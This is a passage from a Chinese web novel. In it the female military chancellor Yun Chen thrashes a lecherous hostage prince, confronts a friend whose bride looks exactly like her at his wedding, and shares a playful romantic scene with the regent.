“哎呦喂——”宋俏俏说话间就要撸袖子,威胁道:“你成婚要是不请我,那我让云琛也不去哦!”
宋俏俏说完,给云琛使了个眼色,后者立刻配合地点头。
岂料苏正阳听见云琛不去,不仅不失望,反而还特别高兴的样子,小声道:
“不去才好呢……”
这时,曹国公家的大小姐曹姝妤见到三人路过,她离开正训练的队伍,从一旁整理着身上武服走了过来,用袖子沾沾额头上的汗,纤纤玉指点向苏正阳,笑道:
“你呀,就是仗着快成婚有夫人了,我们不好动手。但凡你没夫人试试,俏俏肯定挠花你的脸!”
“就是就是!”宋俏俏隔空踹了苏正阳一脚,又蹦蹦跳跳过来挽住曹姝妤的胳膊,笑眯眯道:
“曹大小姐,今日可有空和我们同去吃酒呀?你都爽约好几次了,我在羊肉馆里存的那坛‘醉千里’快留不住啦!”
曹姝妤被宋俏俏惹得笑起来,捏捏宋俏俏饱满可人的小脸,下巴冲云琛扬了一下,道:
“不行,我今日有特训呢,去不了。还是你们三个人去吧,我那份酒给云琛喝了吧!”
“这个可以有!”云琛笑应。
三个女子有说有笑,一时间倒把苏正阳晾在一旁。
他看看曹姝妤,很难想象这就是曹国公家那最恪守礼节、被京圈贵女们引为标杆的曹大小姐,端庄到有些古板的外表下,竟是个好武功拳脚的性子。
他从前听说,为当年云琛女扮男装的事,曹姝妤还和宋俏俏吵过群架呢。
如今不知怎么了,俩姑娘又好得跟一个人似了。
再环视周围几十间大堂,里面全是正挂汗苦练的姑娘们,发出阵阵习武喝声。
其中有豪门显贵出来的大小姐,有平民百姓家的小女儿……
所有女子不分高低贵贱,正一同奔走在更广阔的新道路。
苏正阳忍不住将目光悄悄落在云琛身上——这个改变了千千万万女子命运的妙人儿。
她容貌华光,一身英姿飒爽,已开始隐有上位者的从容气魄。
唯有那双眼睛从始至终未变过,通透又干净,好似有包罗万象的光。
苏正阳看得心头悸动不已,暗暗深呼吸平复情绪,不停地对自己说“安静去成你的婚吧,云琛这样的人,你觊觎不了,还是做朋友更长久。”
待三个姑娘说完话,曹姝妤继续回去训练了。
苏正阳则邀请云琛和宋俏俏吃螃蟹去,说是哪哪新开了一家鲜蟹馆,不用蒸煮,佐以调味直接能食,味道极其鲜美。
宋俏俏被勾得直流口水,说句“看我今天不吃垮苏府金库!”立马拉着云琛往外走。
三人有说有笑走出武馆,正见云琛身边的侍女兰倩在门口角落站着,手里提了个公文盒子,正偷偷拿帕子拭眼泪。
“兰倩,你怎么来了?”云琛出声。
兰倩立刻收起帕子,快速擦去眼角泪痕,挂起笑脸,朝云琛走来:
“大小姐,武丞殿来人送信,说有几件急事要您决断。信官去府上,你不在,我便来寻你了。”
武丞殿统管朝廷武治,日常事务都由荣易、罗东东和伏霖代理。云琛看那些玩意儿头疼,几乎不去。
一开始,荣易和罗东东还踌躇满志,凯旋大殿上的荣誉英雄气还没散,一门心思想干出番大事业呢。
结果在武丞殿待了没三天,对着那永远批不完的小山一样高的文书,荣易第一个打退堂鼓了。
他揉揉快要看花的眼睛,说句“我去城南舞馆一趟,关心一下舞姬们啊不是,舞馆的治安问题昂”,将手里文书全推给罗东东,一溜烟跑没影了。
罗东东骂了声娘,咬牙又坚持了两个时辰,有样学样,说句“俺一条胳膊看不清字”,也将手里文书一推,从此再没露过面。
如今,整个武丞殿,只剩伏霖一人头悬梁、锥刺股,日夜坚守着。
绝大多数事务他都能处理,但也有些大事不能越级,还得云琛亲自批示。
兰倩只能到处寻云琛,一路打听到了武馆来。
兰倩将手里装信的盒子递给云琛。
云琛接过,随意往苏正阳怀里一扔,然后伸手轻抬兰倩下巴,仔细打量那眼角的隐隐泪痕,沉下脸:
“谁欺负你了?”
兰倩没有说话,她知道现在天下许多双眼睛都盯着“摄政王与武丞相”,她不想给云琛惹麻烦。
可被云琛那样一问,她立马眼圈控制不住地红了,刚想强撑着说句“没事”,却听一道格外下流又油腻的声音响起——
“兰倩小美人儿,跑那么快,我都追不上了,害我找了好久呀!你到底什么时候去求了你家主子,把你送给我暖床呀——”
第441章 老虎发威
兰倩是幽州云府特意送来为云琛做侍女的,她虽然年纪不大,但相貌清丽,还得云琛后母白氏亲自教导,做事十分妥帖。
这几年,云琛在外奔波征战,顾不上京都府邸,除了记得每到年节时寄信回府,叮嘱“别忘了发中秋赏钱”“别忘了给大家做冬衣,银子不够就去霍帮堂口取”“快过年了,全府上下一人一个大红包哦”,其他府上事务,全都是兰倩在打理。
云琛不在的日子,兰倩独撑门庭。
她虽打理事务井井有条,奈何出身卑微,不知怎的,就惹上了几年前西炎送来的质子韩表。
话说两年前,南璃君为东宫时,曾听了点霍乾念的劝,对什么“黑鳞骑兵可能是西炎兵”的事情上过心,发国务文书与西炎王求证。
得到的答复自然是西炎绝对和黑鳞骑兵毫无瓜葛,与楠国遭受三面战火之事无关。
为表和平诚意,西炎王将一位皇子韩表,送来楠国为质子,约定等楠国战争平息,再接韩表回西炎。
话说那韩表油头粉面、瘦龟背,两个眼睛下面常年挂着俩大黑眼圈,看着跟纵欲过度重度肾虚似的。
也不知这厮是天生愚蠢还是缺根弦,一个别国送来的质子,在西炎尚且不受待见,来了楠国却大摆皇子派头,吃喝拉撒处处讲排场。
南璃君压根懒得理这货,顾及两国关系,不能闹太难看,只叫好吃好喝供着,等战争结束,西炎早点来人接他回去。
这也是不许怠慢的意思。
这下,那韩表更加无法无天,不仅带着一帮西炎太监护卫,成天花天酒地,到处吃霸王餐不给钱,还当街调戏少女。
那权贵家的大小姐,他不敢觊觎,便将咸猪手伸向了兰倩这样漂亮又没背景的。
第一次见面时,只是远远瞧见兰倩带仆从在街头采买,韩表便浪笑着凑上去,一句话不说,抬手先搂了兰倩的腰。
这一惊骇举动,给兰倩和仆从们都吓呆了,哪里见过这样不要脸的流氓。
听说是西炎来的质子,兰倩忍着没有发作,带仆从匆匆离去。
韩表身边为数不多一个带点脑子的护卫劝道:
“殿下,那是云府的大侍女,伺候那‘云老虎’的,可惹不得!”
韩表不屑撇嘴,“什么‘云老虎’,不过是靠霍乾念和云望上位,估计就是随军给霍乾念暖床的!怕她作甚!”
自那以后,韩表愈发来劲,常常上街骚扰兰倩,一上来就动手动脚,惹得兰倩后来都不敢出门。
韩表便又差人去拍云府的门,送些上不得台面的下流玩意。
虽然东西全被云府护卫们连骂带砸地丢出去了,可到底兰倩的名声被连累坏了。
云府众人本合计将此事禀告远在战场的云琛。
无奈云琛四处奔波作战,险象环生里讨伐敌军,小命在阎王殿那一闪一闪的,众人都不忍心拿这事给云琛添堵。
这也是韩表不忌惮云琛的原因,他觉得,一个靠男人上位、会点拳脚功夫的女人而已嘛,能从战场活下来都不一定,怕她个毛!
眼下云琛领虎威大军凯旋,韩表脑子歪溜溜一转,直接决定买下兰倩当小妾。
在他看来,他可是西炎皇子,云琛肯定愿意卖这人情给他,和他搞好关系。
今日便趁兰倩出门寻云琛,又追着骚扰起来,当街摸了兰倩胸口一把,直接将兰倩气哭了。
听完这事情的原委,苏正阳用看“傻逼”的眼神看着韩表。
他感觉无论是韩表这个人,还是闹出的这荒唐事,都他妈槽点太多,让他一时间不知该先骂哪句。
宋俏俏则搂着兰倩不停安慰,眼神刀子一样瞪着韩表,准备了一肚子难听话,还没骂出口,云琛已冷着脸,缓缓走向韩表。
乍见云琛,韩表觉得什么“云老虎”,不过也是个俊俏的小娘们。
可看着云琛步步走来,韩表就是再蠢,也分明感受到那极其压迫骇人的杀气,不由后退两步,梗着脖子叫道:
“武丞相是吧?那也没我西炎皇子尊贵!你干嘛,想对我大不敬?”
云琛不说话,盯死韩表的眼睛,继续一步一步地往前走,一直将韩表和他那群护卫逼退出武馆地界,来到大街中央。
京都城的老百姓们苦于韩表欺压已久,纷纷围上来凑热闹,等着看云老虎怎么发威。
武馆的楼上,原本训练的姑娘们,也全都闻声跑到栏杆边,探身看过来。
云琛强压心头怒气,眼睛如猛兽锁定小点心,一眨不眨地盯着韩表分外油腻、欠揍的脸,口中说话却是对着武馆上面的姑娘们:
“自新律例颁布以来,各位常在武馆习武,跟随老武师们学招式。今日,我来为大家教点不一样的——”
说罢,云琛迅猛探手,一把勾住那韩表的脖子拉入怀中,随之膝盖猛顶他胸口,上来就是一招大杀的“断头台”。
韩表只觉眼前一黑,胸口犹如被巨石捶击,五脏六腑差点碎成血渣,从喉咙里喷出来,疼得他直接跪了下来,想叫,却被剧痛哽住喉,发不出声音。
不应该先骂架吗?给人点准备的机会?怎么上来就动手??
韩表身边的护卫们呆了一下,才纷纷惊叫着冲上来。
云琛冷笑一声,轻轻转动手腕,活动两下脖子,迎着那群草包冲了上去。
她每打翻一个韩表的人,就要回头打韩表一招。
每打一招,还要向武馆的姑娘们详细教学:
“断其手臂,用‘反抱琵琶’,这样听到一声‘嘎嘣’脆响最为宜!”
“打其狗头狗脸,先‘顶心肘’,后‘通天掌’,打到狗脸通红最漂亮!”
“若不想被脏东西近身——阎王三点手最恰当!”
简单几招下来,不过眨眼的功夫,韩表的护卫们就躺了一地,不停吐血哀嚎。
韩表则被打得鼻青脸肿、眼神涣散,弓腰站在地上踉踉跄跄,踮着脚尖直转圈。
这滑稽狼狈的丑态,给围观百姓全看乐了,都觉得特别解气。
武馆楼上倚栏观望的姑娘们,也全都纷纷叫好,手里模仿学习着云琛刚才的狠厉招式。
可对云琛来说,这哪能够。
她说句“还有最后一套连招,大家看好了”,接着一脚将那韩表当球似的凌空踢起,随即飞身去“接球”,随手拿过一根短棍,直接打出一套专攻下三路的“黑龙十八手”。
“所谓除恶务尽,一劳永逸。‘黑龙十八手’可谓最稳妥!青龙探手!龙女照镜!怪蟒翻身!毒蛇出洞……龙盘玉柱!”
随着云琛话音落下,最后一招打完,在围观人群的叫好声中,韩表整个人扑跪在兰倩脚下,翻着白眼,抽搐昏死了过去。
一旁,苏正阳看着眼前一幕,浑身直冒鸡皮疙瘩,幽幽道:
“看来当年羊肉宴那次,云琛真够意思,真对我手下留情了啊……”
第442章 向韩表道歉
云琛一番当众“教学”,令韩表直接在榻上重伤昏迷三天。
也令云琛自回京任武丞相以来,收获了第一条弹劾。
有位新上任姓吴的言官,大斥云琛行事嚣张无状,当街殴打西炎皇子,破坏两国和平关系。
可弹劾从谏院出来,还没挨到南璃君凤驭天殿的门槛呢,就在摄政王殿被霍乾念扣下了。
他将头从成堆的奏折里抬起些许,大笔一挥,写下一句批令:
胡说八道!
那新来的吴言官却好似“忠直”过头,根本不肯罢休,又接连上弹劾几十封,每封都被霍乾念压下。
很快,满朝都听说了这件事,碍于霍乾念威严,云琛的武丞相之位和赫赫军功,都睁一只眼闭一只眼,当作不知道,但私底下的议论声可不少。
最后,云望看不下去了,拉着云琛上门去给韩表道了歉,才令此事平息。
据说,云琛的歉是这样道的:
武丞相府的亲兵、护卫和几十个霍帮护卫,一大群人乌泱泱冲进韩表所在的质子馆,将才刚刚苏醒的韩表吓得脸色煞白,以为云琛又上门打他来了,直接两腿一软,对着云琛跪了下去。
一旁,押着云琛来道歉的云望,无语地摁住了眉头,轻轻叹了口气,对韩表道:
“那就这样吧,你跪好,让云琛给你道个歉。”
云琛也知道自己那日揍人太鲁莽,忘了顾及如今武丞相的身份。
但她的歉意是对为她善后的霍乾念和云望,可不是对韩表这个腌臜东西。
她大步上前,铁塔似的往哆哆嗦嗦的韩表面前一立,从眼睛下方瞧着他,敷衍一拱手:
“得罪了。”
说完,云琛皱眉看向云望,“可以了吧?能把‘太平’和‘无恙’还给我了吧?”
在押云琛来道歉之前,云望第一件事就是以迅雷不及掩耳之势,先派人去骗来了云琛的太平剑和吞云兽无恙。
面对云琛血脉相连的亲弟弟,云琛府上的侍卫和马夫没多防备,就被人骗着交出了剑和马。
否则,就云琛那个武将性子,绝无可能来向韩表道歉。
果然,剑和马,这最贴心贴身的两件东西被拿走,立马搅得云琛白天晚上不得劲。
云望说,她啥时候给韩表道完歉,把这搅得满朝文武议论纷纷的弹劾之事平息了,啥时候才把“太平”和“无恙”还给她。
于是才有了韩表跪着接受道歉这一幕。
瞧云琛那皱眉不耐烦,糊弄又敷衍的态度,云望无奈摇头,心说好歹也算道了歉,就这样吧,谁不烦那韩表呢?
云琛没直接当街弄死他,都是怕给围观老百姓留下心理阴影!
得到云望挥手示意后,云琛立马喜笑颜开地跑去找她的剑和马了,说句“我先走了,晚上要和宋俏俏去游湖”,话音没落,人已经跑没影。
她带来的一大群亲兵护卫们,也先后向云望行礼告退。
……
……
所有人离开后,云望离了质子馆,独自登上京都城最高的那摘星楼。
他伫立风中,敛平所有情绪,将心沉下来。
他沉眼俯瞰京都城、皇宫、霍府与云府……一股巨大的无力感袭上心头,喃喃自语:
“老师,学生恐怕要辜负您,不能承您遗愿,为皇上效忠了……”
在旁人看来,眼下正是楠国和平鼎盛的开端,祥和欢乐的好时候。
瞧摄政王与武丞相,功高盖世,权势滔天,走到哪里都是前呼后拥,百官叩拜。
如今,朝廷的奏折几乎全由摄政王霍乾念批阅,只挑几件特别重要的才拿去与南璃君过目。
霍乾念独揽朝政大权,将满朝文武那几百张嘴,压制得几乎成“一言堂”。
独断狠厉的行事作风,更令满京权贵除了点头,不敢说别的。
霍乾念虽然在朝处理政务、对待官员十分严苛,但在百姓民生上却极其宽容慈怀。
他上任以来,接连颁布一系列平抑物价、休养生息的新令,还提案削减宫中开支,将节省的银钱用于广设学府,开辟平民考取功名的仕途通道。
再看武丞相那边,不用多说,这些年累累战功和眼下的和平安定,足以说明所有。
“云老虎”三个字,摆在那里就足以镇定民心。
说句夸张的,云琛只要活着,那狮威虎威大军只要存在,老百姓们心里就是踏实的。
为表彰云琛的功绩,民间已经开始为她树碑立传建生祠,有的百姓家中甚至都不供神像,开始供云琛了。
此外,霍府——如今的摄政王府,更是把“害臊”两字抛之脑后,全府上下男女老少全都忙活着同一件事:
为霍乾念和云琛的婚事做准备。
据说,为了筹备大婚,霍乾念将家底都掏了一遍,婚礼所用鲜花、百色绣品、金银宝器、婚席酒菜……
大到金丝衔紫檀木的花轿,小到饮合卺酒的镂影冰玉杯,除了婚服,其他所有东西都按宫中规格备下,甚至许多还超出了级别。
就连那纯金凤冠上镶嵌的南珠,都硕大如拳,比南璃君冕旒上的要大三倍。
不止如此,为满足云琛曾说过,希望霍乾念乘着大船来娶她的心愿,霍乾念斥巨资建造了一艘巨大的九桅十二杆的华光宝船,用来迎亲和举行婚宴。
八层宝船之上,层层遍布亭台楼阁和花园,装饰琉璃玉器,点灯用夜明珠,甲板铺金曜石,就连栏杆、台阶都是汉白玉的。
人们简直不敢想象,到霍乾念与云琛成婚那日,若金箔漫天,巨船满载鲜花与令人眩目的珠光宝气缓缓驶来,霍乾念丰姿若惊鸿游龙,策马高立甲板之上,身后花鼓齐鸣,狮威与虎威大旗交相辉映,该是多令人震撼难忘的景象。
可惜,那宝船上的婚宴不是人人都能去的,非绝顶显贵不能。
老百姓们纵然好奇心痒,也只能远远观望。
为此,霍乾念说不妨,既是喜事,当天地同喜,与民同乐,直接特批一条千禧运河,从城外洛子水直接开凿到城内的武丞相府门口,专门用来迎亲。
他还承诺,待婚娶那日,凡宝船行过之处,皆沿途抛洒金稞子给百姓,以作庆贺。
这桩桩件件令人惊叹,无一不宣告着霍乾念与云琛的不可一世。
霍乾念那些逾矩的,狂妄的,太过嚣张跋扈的言行,全都被默默揭过。
似乎一切都按照人们预想的那样在发生。
那即将到来的盛大婚礼,将开启全新的太平盛世。
可云望却一点都期盼和高兴不起来。
自从见过那新上任的吴言官,惊讶地与其对视上,亲眼看着南璃君对其如何刻意地宠信后,云望立刻就猜到了一切的一切。
南璃君和她那男宠颜十九扶持“奸臣”的阴谋……
霍乾念瞒着云琛,图谋那皇位的算计……
不知何时,南璃君与霍乾念,早已坐上棋盘,各执黑白子,争锋杀不停。
所以,云望没有再去问云琛,霍乾念为何如今这般狂妄。因为云琛无心政事,显然对这些根本没发觉。
云望明白,如今的局面,早已远远超出他能掌控的范围。
甚至就连他自己,亦不过是一枚身不由己的棋子。
“老师,请恕学生懦弱……学生既见不得这苍生渡劫,亦无法在家族安危与保皇权之间抉择……学生大约,只能退出了……”
第443章 绝交
初冬已过,比大雪先来的,是苏正阳的婚礼。
苏家世代簪缨,苏家父子承担京军与禁军统卫之职,势力非同小可。
因而全京都有头有脸的人物几乎全来了,又因如今新律的“女子等同权”,婚席不再像过去那样分内外男女席,而是全都摆在一起。
众宾客热热闹闹聚在一起说话,话题无外乎是今日的婚礼十分华美,再有就是与霍乾念、云琛这两个权势滔天的人物以及现行的新政令有关。
如今,云琛和宋俏俏都与苏正阳交好,虽然那厮竟真没给她们发请帖,但两人还是大摇大摆地抬着贺礼来了。
去往苏府的路上,宋俏俏边走边碎碎念:
“这家伙竟然真不请我?看今日他掀完新娘子盖头,新娘子出来敬茶吃酒的时候,我怎么去告他黑状,嘿嘿……”
宋俏俏笑得十分阴险,云琛则摩拳擦掌,兴奋道:
“你主攻他夫人,我主攻他——看今日我如何给他喝趴下!”
一旁,领队护卫和抬贺礼的陆良,靠近云琛,小声道:
“您忘了,来之前少主提醒过,叫您今日不许喝多,少主晚上还等您呢。”
陆良这一提醒,云琛那兴奋劲儿立马消下去一半。
陆良如今是霍帮的大亲卫,接替了叶峮的位置,统管整个霍帮。
原本云琛觉得,叶峮走后,谁当那大亲卫,她都会别扭排斥。
可偏偏是陆良。
当年在东炎皇宫盗风灼草时,陆良曾对她有救命之恩,为了引开侍卫,他身受重伤三年才好,也因此断了他飞府衔试第一名的暗卫生涯。
云琛对陆良有感激和愧疚的旧情谊在,因而在看到接替叶峮的人是他之后,她就排斥不起来了。
“行,我少喝点,你去把他喝趴!”
陆良连连摆手,直道“属下哪敢”,规矩倒是规矩,但云琛就是感觉缺了点什么,再也找不回从前和亲卫兄弟们亲密无间的感觉。
她摁摁眉心,努力赶走这不合时宜的情绪,重新高兴起来,和宋俏俏挽着胳膊走进苏府。
很快,婚仪开始。
喜悦炮竹声中,众宾客簇拥着苏家迎亲队进门。
苏正阳头戴花翎冠,一身大红色喜服,骑着高头大马,领花轿进来。
他亲自下马去搀扶新娘子下轿,一手扶着那纤白玉手,一手轻轻捂着新娘子盖头不掉落,引得周围宾客一阵笑闹:
“哟哟哟,这么疼呀?”
苏正阳笑得眉眼俱弯,两腮挑起绯红,看得出,他是发自内心的高兴。
新娘子进了门,接下来便是常规的射箭鸣天、拜堂等环节。
待酒宴开始,新娘子终于出来敬茶敬酒,众宾客这才得以一睹佳人风采。
今日婚席,苏正阳父母为最大,坐主位,另设第三个主位,由在场官职最高者居坐。
眼下全场属云琛职位最高。
她在那第三个主位坐下,一脸期待地等着新娘子来敬茶,瞧瞧苏正阳娶了个多漂亮的媳妇儿。
听说,这刚过门的苏正阳夫人不是京都人,也没什么好家世,谁都没见过长什么样,只知道是个国色天香的大美人。
为了娶她,苏正阳好像还和苏家闹翻过一阵,受了好些罪才如愿。
云琛整整衣冠,心里默默练习着一会儿接下敬茶时,要对新娘子和苏正阳说的祝福话,浑然不见自新娘子一出场,全场宾客的表情就都微妙了起来,不住地拿眼角偷偷打量向自己。
宋俏俏更是目瞪口呆,拼命隔空给云琛使眼色,看苏正阳的眼神,一眼能带三百个脏字。
可惜云琛光顾着背词,一点也没看见。
“父亲,请用茶。”
悦耳又含羞的女音,在离云琛不远处响起,一道窈窕身影在敬过苏正阳父母后,来到云琛面前。
苏正阳随行在侧,却突然没了方才迎新娘子进门时的喜悦,神情既忐忑又期待,时不时看云琛一眼。
云琛全部注意力都在新娘子身上,莫名有种自己成了长辈的感觉,欣慰地瞧着新娘子朝她跪拜行礼,然后捧上清茶,随之抬起头——
在两人对视上的瞬间双双愣住。
看着眼前长得跟照镜子一样的新娘子,云琛的笑容僵在脸上。
再看旁边的苏正阳,坦然又含情脉脉,是他从未在云琛面前显露过的情绪。
云琛终于知道,苏正阳之前为什么一提“成婚”就避而不谈,也不请她和宋俏俏来参加婚宴了。
难怪之前菘蓝别有深意地让她留意新娘子!
敢情他特么找了个“云琛平替”啊!
那眉,那眼,那鼻梁和小嘴,简直和云琛一个模子刻出来似的!
只是新娘子气质过于温婉,没有云琛身上那干净利落的杀伐气,一看就是个温柔持家的好性子。
云琛心中惊异,竟此时此刻才发觉苏正阳对她的心意。
可看着新娘子错愕、继而缓缓泛起泪光,那强行掩饰酸楚的复杂眼神,云琛暼了眼苏正阳那理直气壮的德行,心头突突直冒火。
她接过新娘子的茶,心里准备的啥祝福话都忘了,憋了半天,把这辈子能用的脑筋全疯狂转起来,暗骂苏正阳八百遍,最后尬笑着说出一句:
“我认识苏正阳之前,就听阿念说过,我与苏家大少爷在追求的那位小姐长得很像,如今一见,果然如此。赶明儿我和阿念成婚时,你记得来哦,让阿念瞧瞧,能不能分清你我,哈哈……”
这话一出,周遭宾客皆一脸恍然大悟:
原来,是苏正阳认识新娘子在前,并不是照着云琛模样找的。
听起来,这事苏家和霍家都知道,霍乾念那霸王醋坛子都不介意,那肯定不是苏正阳惦记云琛。
且两人只是长相相似,气质脾性完全不同。
巧合而已!
这厢,新娘子眼瞅自己即将沦为全京都的笑话,恐怕这辈子都要活在所谓“白月光”的阴影下,眨眼却被云琛寥寥几句扭转风评,平息了“误会”。
新娘子眼底那酸楚的泪光缓缓落下,再看云琛,心头还是有些发酸,却忽然就理解了苏正阳为何这般:
面对苏正阳突如其来的“间接表白”,云琛没有欣喜,只有一脸想骂人的表情。
方才那一刻,云琛满心只想为新娘子解围。
这样伶俐又善良的妙人儿,谁能不喜欢呢!
想到这里,新娘子心中介意全消,真心实意地将茶捧出:
“请大人用茶。”
这厢,云琛接过茶杯一口闷,余光瞥见苏正阳父母正对她满脸感激,新娘子看着情绪也好多了,又笑了起来。
唯独那苏正阳有些许失落的神色,看得云琛手心发痒想揍人。
敬茶过后,待剩下仪式进行完,云琛上主桌主位吃了几口菜,便借口政务繁忙,离开了苏府,都没心思和宋俏俏打个招呼。
她黑着脸,闷着头,匆匆往武丞相府走。
一旁陆良等护卫全都安静跟在后面。
这时,苏正阳的声音从背后追上来,叫了声“云琛”。
云琛惊得刹住步伐,一个弹跳回身,吓得跟见了鬼似的,开口声音都变形了:
“你不好好成你的婚?来这干嘛??”
苏正阳气喘吁吁地跑过来,一身大红色喜服衬得他玉树临风,站在大街上分外英俊扎眼。
好在这会天色已晚,街上往来行人不多,但陆良还是赶紧和护卫们围成一圈,组成人墙,好叫云琛方便动手……啊不是,是说话。
苏正阳上前一步,眉头微蹙,鼓足勇气说道:
“我知道瞒不住你,今日大婚过后,你就会知道……我的心意……云琛,我一直喜——”
“闭嘴!!”云琛打断苏正阳差点说出来的表白,气得脸都绿了,手狂抖地指向苏正阳,想破口大骂,却不知道该先从哪部分开始。
她想骂苏正阳明明对她有别的心思在,为何还要装成朋友与她相处?
想骂他为何不早点表白,或者干脆一辈子不说,偏偏要在婚礼上闹这一出!
刚才与新娘子对视上时,云琛感觉比他妈上战场还紧张,她脑仁都快烧废了才想出那得体话。
“你、你、你……”云琛气得发抖,用力深呼吸平复情绪,开口仍是一句大骂:
“苏正阳,你他娘真浑蛋!你有什么心意,老子管不着!但你千不该万不该将你新婚的妻子当众架在火上烤!差点毁了她一生只有一次的婚礼!”
苏正阳像是预料到云琛会发火,既不惊讶,也不反驳,只是静静地站在原地,仍用那含情脉脉、委屈又失落的眼神瞧着云琛。
云琛被瞧得浑身发毛,抡起拳头就想送苏正阳两个熊猫眼。
但目光落在他大红色的喜服上,想他一会儿还要回去招待宾客呢,她只能跟吞了口苍蝇似的,又咬着牙放下拳头:
“苏正阳,我一直以为你是个君子,没想到却是小人心思!你之所以不提前告诉我那心意,不过是想今日瞧一瞧,当我看见新娘子长得和我一样时,会是什么反应?你期望看见我惊喜,从而证明我也对你有心思是吧?今后便和我做朋友之上恋人未满的暧昧知己?”
这话一针见血,令苏正阳面色涨红,显然正中他心思。
“是,我就是这么想的。”苏正阳挺了挺脊背,一副坦荡荡的样子,“我原本就没指望能与你有什么结果。我怕你知道,可也盼着从今天起,你晓得了我的心,就能待我不同些……”
“好好好……”云琛怒极反笑,气得脑门青筋“蹭蹭”直跳,“我知道你们男人大多三妻四妾习以为常。可我告诉你,苏正阳,那个只得到你一半甚至三分之一爱意的姑娘,她整个人!整颗心!一辈子都在你身上了!你他妈有没有良心?!”
最后这一句,令苏正阳整个人怔在原地,愣愣张着嘴,反驳不了一个字。
显然,云琛说的这些,苏正阳从来没想过。
骂完这一大堆,云琛心里火气消减不少,觉得再说下去也没什么意义,苏正阳需要点时间才能想通。
她重重叹气,挥手驱赶他:
“行了,别磨叽了,好好去成你的婚,这是属于你和你夫人的大好日子,你别特么一个劲儿作妖添堵!晚上给你夫人好好叩头认错,说从今以后再不与我见面了!”
“什么意思?”苏正阳皱眉,“我为什么要撒谎‘不见你’?”
“那不然呢??”云琛瞪大眼睛,声音又拔高起来:“不绝交还等毛?你、你、你!”
云琛刚刚压下去的火,又全都冒了出来,从后槽牙挤出一句“你这孽障!”然后眼神四找,一把拿过护卫手里方才挑贺礼用的扁担。
她朝陆良大喝一声“脱!”陆良心领神会,立刻手脚麻利地脱下外衣,牢牢系在扁担上,这便是打人痛却不留痕的法子,保证打得苏正阳哭爹喊娘,还不留下淤青痕迹。
见云琛扛着扁担冲过来,真发怒的样子,苏正阳大感不妙,扭头就跑,但还是屁股上挨了十几下。
“云琛你好狠的心!你就对我一点情谊都没有?哎呦——”
“你口口声声惦记我夫人如何伤心,怎么不想我伤不伤心,我只是喜欢你,这也有错吗啊啊好痛——”
“我不要绝交!我们仍旧做朋友行吗?疼疼疼!”
“我错了我错了!别打了,人家今天成婚呢,有话好好说别动手啊啊啊——”
第444章 血月
揍完苏正阳,云琛气哼哼回到武丞相府,霍乾念早已在内院等她。
他褪去官衣,换了常服,一身墨蓝银绣江山袍,独自坐在桌前弈棋。
晚灯将暖黄的光线倾泻下,镀得他眉眼毛茸茸地温柔着,鼻峰有俊朗挺拔的光影,冲她如常笑起。
如今除了进宫在摄政王殿处理政事,霍乾念其余时间也不回摄政王府,都与云琛在一处待着。
但其实说“其余”,也不过偶尔几次。
他日夜理政,时常通宵看奏折,直接宿在摄政王殿,与云琛见面的次数越来越少。
好在云琛也有凌云武馆一大堆事忙,两人各自打拼功业,即使不日日见面,那连着心的默契和爱意,也不会消减半分。
一见到霍乾念那通身淡定,云琛立马心情好了许多,但脸色还是很差。
她抱着胳膊,在他棋盘对面坐下来。
“你把苏正阳调到外地去——调去我这辈子都看不见的地方吧!”
霍乾念点点头:“好。”
云琛又道:“不行。”心说苏正阳是京都人,整个家族世代都在京都生活,眼下才刚婚娶,她凭啥把人调走,让苏夫人守空房?
苏正阳那混球,连累得她明明什么都没做错,却莫名其妙对新娘子愧疚不说,怎能还连累家族为他受苦,云琛便道:
“你调我吧!把我调到看不见的地方去!”
“好。”霍乾念仍旧答应,轻笑一声:“那我摄政王不做了,和你同去,天涯还是海角?你选。”
他说得十分正经,叫她认真苦恼,开始思考有没有什么能和苏正阳彻底绝交的两全其美的法子。
想着想着,抬眼见霍乾念眼尾微扬,眼睛里藏着抹坏坏的笑意,从始至终不问她一句缘由,她顿时反应过来,又气又笑,抬手去捶他,却被他一把拉进怀,坐到了他大腿上。
她撅起嘴,不高兴道:
“你早知道苏正阳那厮对我别有用心是吧?故意不告诉我呗?”
“嗯。”霍乾念扬扬眉毛,声音得意带笑,“就得你自己去发现呀!我相信我的琛儿能处理好,再说,苏正阳那心思,一把手中沙而已,风一吹就散了,不值一提。不过,他以后要还是纠缠你,我保证有一万个法子让他后悔。”
云琛怕霍乾念真为这事与苏家过不去,又惹风波,赶忙道:
“没事没事,我方才已经教训过苏正阳,拿衣服包了扁担,一顿板子招待,保证疼得他三天翻不了身,还不留下任何淤青痕迹,不耽误他今日婚娶,也说了与他绝交。他只是暂时钻了牛角尖,过后会想明白的。”
“也许不只想明白呢!”霍乾念接过话,搂紧云琛两分,亲亲她下巴,坏笑:
“挨了你一顿打,他不仅脑子清醒些,说不定夜里还要去自己夫人跟前‘嘤嘤撒娇’,求漂亮姐姐安慰求抱抱呢!”
“哦,你意思是苏正阳的夫人,比苏正阳岁数大一点?”云琛问。
霍乾念直接被云琛这傻愣“扑哧”逗笑了。
饶是这么多年恩爱过,云琛还是总能翻出一百种令人意想不到的、迟钝不开窍的新鲜花样来折磨他,真是没完没了的纯欲勾人呀......
霍乾念越想越好笑,越笑越大声,肩膀不住地抖,最后直接靠在云琛怀里哈哈大笑,笑声震得她心口嗡嗡酥麻。
她这才明白过来他什么意思,红了脸啐他:“你这浪荡子!”然后好奇地问:“男人也会撒娇嘛?”
他一下笑不出来了,有点被噎到的表情,心说好家伙,琛儿你这一句话,我这么多年全白干啊!我撒的那么多娇,搞半天全扔风里了,你一个没接收到?
“唉,我命真苦!”他装模作样地叹口气,挽着她腰肢的手开始不老实,靠近她脸颊去吻,“可能需要琛儿亲亲抱抱才能好。”
云琛脸更红,轻轻推他:
“好了好了,我这下知道男人也会撒娇了,府上人都还没睡呢,会让人听见的!你饶了我吧!”
他怎肯,一把推开面前棋盘,就要将她放倒在桌上,吓得她挣扎起来。
可人被他箍在怀里,拳脚施展不开,她只能埋头在他肩膀,隔着衣服咬了他一口。
她压根没用力,他却抬手扣紧她后腰,更加用力往怀里搂紧,语气暧昧又撩人地发出一声“哎呀——”
那欲拒还迎的语气,直接令她脸“唰”的红透,埋在他肩头不敢抬头,只能小声嗔他一句:
“你这浑蛋!”
此时,恰逢兰倩端着盘子走进内院,本来是听到云琛回府,想给云琛上果酿的。
结果听到那声又茶又十八禁的“哎呀”声,登时吓得兰倩原地掉头,跑得比小兔子还快,简直不敢相信,那声音是高高在上不苟言笑的威严摄政王能发出来的。
兰倩悄悄离开院子,轻手轻脚地将院门关严。
